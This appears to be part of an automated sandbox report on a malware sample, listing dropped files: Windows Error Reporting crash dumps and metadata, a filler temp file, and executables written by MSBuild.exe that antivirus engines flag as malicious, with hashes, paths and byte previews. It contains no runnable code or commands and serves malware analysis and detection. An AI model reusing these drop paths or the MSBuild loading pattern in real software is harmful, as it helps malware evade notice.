Entropy (8bit):	1.6078721351750398
Encrypted:	false
SSDEEP:	96:5R82qABtx6md/bX04i77b6eGeq8MxbphMTKlhSN2ooe+WI0WIIRy/I4WJcYUUAg:Q2zBfz7OStbflhS+GWJcYLAg
MD5:	71FDE4C865F60ABB29F652DB7E5680BF
SHA1:	BF97444533D7CA36609C64AF6E21A5CC3628E524
SHA-256:	603BD2B151EFE5D6E499CF4AFAA822160C62369FD71844E3E8AF2489194C9E7C
SHA-512:	FB6033A206D989AD4FFB79E39A4A5C1402871B1BFAF0407C82D654A74AC74EAE05F93D969411EBD9E11914ACCFABA9A874DCB6B5939D50986D4FB71A69229D6A
Malicious:	false
Preview:	MDMP..a..... .......j..f........................d...........................T.......8...........T.......................................................................................................................eJ..............GenuineIntel............T.......4...i..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER452C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	3.707324186356509
Encrypted:	false
SSDEEP:	192:R6l7wVeJMb6V76Yhq6A+Egmf3kkprT89blWfsfcXm:R6lXJI6Z6Yc6A+Egmf3kFlWEfx
MD5:	B8C84F2F7DED9DE2449A74C8E689ACB2
SHA1:	8579BDBCED0DDCF152DD300EBDF267028F5D24BF
SHA-256:	2277633F6C61E44AF4AF0B1D372C603E4DC3FCD0ED117A5B8F1D3BD7C54A5819
SHA-512:	2E7159C922671CF0C1583C31004C0261EE878F9A4EA2C70FC28B288345182F33F54FF2605FDAED3533F5DE0563DD75F20DC679471601B87F08555366EA654E55
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER45F8.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4866
Entropy (8bit):	4.549129971670945
Encrypted:	false
SSDEEP:	48:cvIwWl8zsNJg77aI9xGWpW8VYlYm8M4JttFHVo+q8vJLWx5ZKl5S8d:uIjfnI7XH7V5JJVoKxQ5ZK/S8d
MD5:	AB2A1CA3F076F806AEEE43D399EBF2D0
SHA1:	1D489D41E5E0C6EC5DCE33DD92DD1AF66CADECDB
SHA-256:	F61C2BF6EC3248421A15569232097313676CBB21510FA1417E0E63E9AE48D32A
SHA-512:	4FD00B8BB17D37512A3D97946E56FE4D16E3AA0CBCDBB0CA5FEE6C3E349832F2EEEEB721EDDC2DCA4AB4A131CD48DD0ECD01C1FBD0A2A9BF8FD120F53CD4225F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="528776" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4644.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Oct 4 13:53:46 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34786
Entropy (8bit):	1.6165651956814369
Encrypted:	false
SSDEEP:	96:5R8dDx6md/bX0qI/Yi779thMeyzJiNfIISdzg6DtF1RI360CgYOqWIkWIBcI4+mu:Qrz8gOSJuAHzpX68+mhfqahfyU
MD5:	D67624E4994190083DBC44F5D4A1319A
SHA1:	1DBE13BE20EB13F62DDB05DE6E991ED87E6295DE
SHA-256:	B5A3D203A466F10A9D129E4C73B073EA0A4245E8C27D0469B7D33066F66953C3
SHA-512:	B6315BCE878C25A0A0BAE4B6D860712593AEE1BCBF2808BAECAF8F434F86A2CB306E0957CCE052554E9639733BE5AD2F690320DB2293DA53E4A620CEA76F4C30
Malicious:	false
Preview:	MDMP..a..... .......j..f........................d...........................T.......8...........T................\|......................................................................................................eJ..............GenuineIntel............T.......x...i..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4710.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8446
Entropy (8bit):	3.710034350375225
Encrypted:	false
SSDEEP:	192:R6l7wVeJsXj961QHI6Yhs6A+EgmfFIikprd89blQsffXm:R6lXJsz9696Y66A+EgmfFIibljf+
MD5:	9E345C2C187AB97D292C27C9D51920B2
SHA1:	4C84FCA25892E17C22AF2E951AC07AF893D9DAE2
SHA-256:	AA937A1EDD988A75F1BF4B3E42332BFEA32A024F693D2159FC6DE6C102188D7E
SHA-512:	8A6043D26A9AB0130AE1E337E0BDA52799FAB4890DED64B395816A698EAF2A02051ECF691EEF7BAF3E6CE998C00F054217C4E39B44D462AF08AA4E9C376AC282
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4730.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4866
Entropy (8bit):	4.571886285486464
Encrypted:	false
SSDEEP:	48:cvIwWl8zsNJg77aI9xGWpW8VYqYm8M4JOmtFZSA+q8vRmO15ZK4IIlbd:uIjfnI7XH7VCJOg/KRz5ZKNqbd
MD5:	52CCF8E36B4CF9A31B6F2D6ECD3C2346
SHA1:	3D5BEFD54A28DFED87B910B8D16FAAA684D8B9C8
SHA-256:	63A1AABE1655C7DF19F3D376B98F04F36A97AD640F0CBBC8B7BCAA265385334E
SHA-512:	9E875B8E029C6903F07807E4BCB4980C42DEF349BF82226CA552B3F549AB56CEFB30EA046CAD6AC335CD77D8427564D4B1C6D920A319382063DD8BB65EF334A2
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="528776" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB20E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Oct 4 13:54:14 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	134474
Entropy (8bit):	1.6506168000206767
Encrypted:	false
SSDEEP:	384:Na9KxaFDZR4rzEsQzq4GSZbPnTJv3vv1mo5ptggp5Ui:NLx0ZR4zCzqCjTN3v8oR
MD5:	EE2684C5F013127BF4D347FF042BF678
SHA1:	C27588795291D4D09A02D0A258634D97F4FA5647
SHA-256:	2955EC8435A43AA65467D45944997E3B9A344DF712F808D0B1572CDB23E6A726
SHA-512:	B2ADAE360DD663C908403C7595BAD006D45BEDF7531B75DACD26B09AD5A9B99AE37D796397579CB2038478272FB539B520D1A18411968B14E6EA8E6AEC65E6E4
Malicious:	false
Preview:	MDMP..a..... ..........f....................................$....#......D....I..........`.......8...........T...........87...............#...........%..............................................................................eJ......t&......GenuineIntel............T.......$...i..f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB347.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6302
Entropy (8bit):	3.721667190546759
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbpdI69YxJQQE/Hns5aM4Up89bVmisf/RAGm:R6l7wVeJpdI69YxJQkprp89bVdsfJHm
MD5:	E0644D5FB41AFF8228D72FD39B400869
SHA1:	EDA2FEB634A8238CC1C1EDCFF96918A538D38223
SHA-256:	BF94902643736B6C61B4DBD8ED87CC7CD8BF22882D32DC180735B1AEB1FF60FE
SHA-512:	421F8683F80C148904139D89E9D5B2E9B0249D32854408EF1657F8E0BD7DA49B003D0CC35B930BA10BE08071DBE31869667B50674ABE9A533CED804C4A81B824
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB367.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4642
Entropy (8bit):	4.46465000525093
Encrypted:	false
SSDEEP:	48:cvIwWl8zsNJg77aI9xGWpW8VYUYm8M4JirF0+q8IpmL8d:uIjfnI7XH7VgJDZmL8d
MD5:	23A2CE9FF321CEB813BD116F83526E76
SHA1:	86B94AA4BD1096202E9AA662126F80AB4403D3FC
SHA-256:	538E4F94A80C233058D008509EF1F92D572325A8774DCBA9C90A8E2FEAB55882
SHA-512:	CB5B141492DEC8D111BAD14A93B6AD057D94D6B86C504054A09E164D4866AA182CDE605FD27A22A5C47FA4BB1C91EE5B12AF6869EC9DAD165AFFC033E21C6E72
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="528776" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFA03.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Oct 4 13:54:32 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	120130
Entropy (8bit):	1.55740639034106
Encrypted:	false
SSDEEP:	384:Zf/QF6w8riSEE9jzmND3Cll0PsOh67pPOkbLLfeaTP2:ZfIhGiSEE5za+ll0dFkbmC
MD5:	B03C218F78B7A54E0392D4663E3EB758
SHA1:	61F55713E550F115A4984100CF7F1FCBE11AB82C
SHA-256:	3EE3D740DEF3EC8392AAA39F5FE2D48AF571EAA7CAB7366CBE2BFB30ACA19281
SHA-512:	5FA560B388600DF9130E1780662E4C25A3C80DD3D66ADD49B8CCC1BFA2BAF9C8533646E75AF4E157BCA741859AC45EB16B7BA458A1F8FF83C121716B2ED2F1B9
Malicious:	false
Preview:	MDMP..a..... ..........f.........................................A..........T.......8...........T...........H1..............l...........X...............................................................................eJ..............GenuineIntel............T.......t...i..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFAD0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6322
Entropy (8bit):	3.723269902066716
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbnRO6WxcYsQE/Hns5aM4Ul89bhKsf9Xarm:R6l7wVeJnY6WxcYskprl89bhKsf8rm
MD5:	FA080FA86A32CAF7F625164989E06900
SHA1:	A9CD2698CE5E9AEBD42F0E660BDF426412DDFCB7
SHA-256:	147A00C2A27FC502ED4606F9522DC936EF590D539E104B99D2B6F3C3C1D1E5F5
SHA-512:	366F07AFCB7AE87C3D9C74C07FB1C5E4EFD1C1D080E53D6D7C8FA44CAD2504E9F364399FBF05112819266E958962B1939B9CEBA3C04F2A1DA2AF71088BEBD2DA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFAFF.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4640
Entropy (8bit):	4.471420731394985
Encrypted:	false
SSDEEP:	48:cvIwWl8zsWJg77aI9xGWpW8VY9Ym8M4JXpeFW+q88iE4mLe+d:uIjfsI7XH7VxJrQmLTd
MD5:	48356CD3CA89D2217911C84CB8499A47
SHA1:	7C88CCEFCB28D8805545C8314DF31897DB46C827
SHA-256:	78EC8BE379110FB792459F4ADAAF53B57C4E4911F0A6CBCFFCA97E95B24A8FF4
SHA-512:	41AB8DEA8437F604F9FD19B4B4FC24C4671FB3582F5CC63E3D965F371F148022957A114530BC7540CF6851354E18E8DD2A3282DE5A950B45EDEC7067DBB9624B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="528777" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\7f3c2473d1e6[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	563712
Entropy (8bit):	7.761295246557229
Encrypted:	false
SSDEEP:	12288:2oAw4Cr0G0187LxGraRAGxKUPbKslF3jt4njxZP:2ebj0SX8rvslFzwFJ
MD5:	33F127E35338687A1A64F67FA6ED3B9A
SHA1:	672DC4D194A5FFE2FD5C23B411BCA7B99647EBD2
SHA-256:	60BD16249ED2F24C98380920CB581F447A806541827D4EB2A5C1E889B9379C30
SHA-512:	C50878D3CB82E12384F1A1C214D9BEC19DC7E0E54285336261837A4C92AA42FD9068EC27C6D0361E60935B097A59D3262C4295C6660EAABB57503E4A2F82B4C8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....c...c...c.K\|`...c.K\|f.2.c.K\|g...c.K\|b...c...b...c.Z.g...c.Z.`...c.Z.f...c.k.j...c.k.....c.k.a...c.Rich..c.................PE..L...o..f...............'............+o............@.......................................@.................................0m..(...................................xP...............................O..@...............,............................text...\|........................... ..`.rdata.............................@..@.data....&...........`..............@....rsrc................x..............@..@.reloc...............~..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\f2e7fcb20146[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	484352
Entropy (8bit):	7.700702761901614
Encrypted:	false
SSDEEP:	12288:b9kBLbUAQK+ZhN1r59a5fCtWw4PK/SyY4ImnP:GJLGHV9IFw4PK/ST4Ic
MD5:	2B7045094692BC5DD208CD1E195A6128
SHA1:	4830718CA327E4717D42586579D7311387C04853
SHA-256:	53F74C71C625DA6B7FF77C3A61AAD3BE0FF4A7199EE447C57C0D12DBBFACCF32
SHA-512:	57374D733A732B5A70CA79115F8107967EF9D5E36F58799F963494CD541486BF911C457FD667553C56DC5217B9D103D7AB55C71B4585A0056B6B70EEB7069003
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....c...c...c.K\|`...c.K\|f.2.c.K\|g...c.K\|b...c...b...c.Z.g...c.Z.`...c.Z.f...c.k.j...c.k.....c.k.a...c.Rich..c.................PE..L......f...............'............+o............@.................................j.....@.................................0m..(...................................xP...............................O..@...............,............................text...\|........................... ..`.rdata.............................@..@.data................`..............@....rsrc................B..............@..@.reloc...............H..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	MGR bitmap, old format, 1-bit deep, 16-bit aligned
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:vff3:P
MD5:	5C0CD663BDC0A14802DC2F9F2F98D47A
SHA1:	E630D90020A6B66AA735C416380D3FB3DD868AAB
SHA-256:	338038CB44118099F48B404215D3FB8EEFB9252C4C76F43FC13E9CCB93B98B7F
SHA-512:	50C52DCFD05F451E3F55DCC0C4D82D53D39BD596A1D4DE0F1B1AB532F37A3EEFDB4B4F0F51E64BE095FCCFEC16152B23F2BB30A1DA046D8F41A0D845383845A0
Malicious:	false
Preview:	zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	484352
Entropy (8bit):	7.700702761901614
Encrypted:	false
SSDEEP:	12288:b9kBLbUAQK+ZhN1r59a5fCtWw4PK/SyY4ImnP:GJLGHV9IFw4PK/ST4Ic
MD5:	2B7045094692BC5DD208CD1E195A6128
SHA1:	4830718CA327E4717D42586579D7311387C04853
SHA-256:	53F74C71C625DA6B7FF77C3A61AAD3BE0FF4A7199EE447C57C0D12DBBFACCF32
